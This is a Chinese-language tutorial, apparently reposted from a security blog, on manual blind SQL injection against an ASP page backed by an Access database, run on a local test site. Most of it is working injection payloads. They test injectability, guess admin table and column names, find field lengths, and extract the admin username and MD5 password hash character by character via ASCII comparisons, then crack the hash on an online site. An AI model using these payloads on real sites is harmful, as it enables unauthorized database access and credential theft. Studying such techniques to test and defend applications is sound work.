SQL注入access資料庫【二】
首先是sql注入產生的條件:
1.引數的傳遞
2.引數值可以帶入到資料庫
我這裡是本地搭建的環境,接另外一種方法注入
手工注入值半猜解
第一步 判斷是否可以注入
URL:http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139
and 1=1 返回正常
and 1=2 返回不正常
第二步 猜解資料庫表名
語句
and exists (select * from 表名)
這裡的表名,可以替換成常用的表,
常用的表名
admin、a_admin、x_admin、m_admin、adminuser、adminstrator...

如果存在那麼返回就是正常的,不存在返回就是錯誤的,運氣好的,一次性就爆出來了
第三步 猜解欄位
語句
and exists (select 欄位名 from 表名)
這裡猜解了兩個欄位名
and exists(select admin from admin)
and exists(select password from admin)
第四步 判斷欄位長度
語句
and (select top 1 len(欄位) from 表名)>0
用來測試的語句
and (select top 1 len(admin) from admin)>0
and (select top 1 len(password) from admin)>0


這裡判斷的 admin 長度為5
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 len(password) from admin)=16
下面判斷password長度為16,這裡就不上圖了,大家自行檢測
第五步 折中猜ASCII碼
這裡簡單說下 ASCII碼 65~90為26個大寫英文字母,97~122號為26個小寫英文字母
語句
and (select top 1 asc(mid(欄位,1,1)) from 表名)>0
首先猜 admin的吧
第一位
and (select top 1 asc(mid(admin,1,2)) from admin)>50 錯了
and (select top 1 asc(mid(admin,1,2)) from admin)<100 對了
那麼就在這個中間 我們繼續 更改一下 慢慢的猜出來是 97

第二位是 100

這裡下面就不放圖了, 我們就直接上結果了
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,1,1)) from admin)=97
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,2,1)) from admin)=100
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,3,1)) from admin)=109
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,4,1)) from admin)=105
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(admin,5,1)) from admin)=110
使用者名稱的ASCII碼是 97,100,109,105,110
下面繼續猜密碼的ASCII碼
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,1,1)) from admin)=97
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,2,1)) from admin)=52
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,3,1)) from admin)=56
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,4,1)) from admin)=101
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,5,1)) from admin)=49
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,6,1)) from admin)=57
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,7,1)) from admin)=48
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,8,1)) from admin)=102
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,9,1)) from admin)=97
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,10,1)) from admin)=102
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,11,1)) from admin)=99
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,12,1)) from admin)=50
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,13,1)) from admin)=53
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,14,1)) from admin)=55
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,15,1)) from admin)=100
http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and (select top 1 asc(mid(password,16,1)) from admin)=51
密碼的ASCII碼就是 97,52,56,101,49,57,48,102,97,102,99,50,53,55,100,51
這時候我們可以對應ASCII碼錶挨個轉換過去 也可以用小葵轉換工具

也有線上轉換工具, 直接輸入到ASCII碼 挨個提交 轉換結果就好了
我這裡轉換出來
使用者名稱:admin
密碼:a48e190fafc257d3
密碼是一個MD5加密 老規矩,我們扔到MD5解密的網站 解密
md5解密: ofollow,noindex"> https://www. cmd5.com/
解開的密碼是 bendss
*本文原創作者:辰小白 轉載請註明來源於華盟網源及作者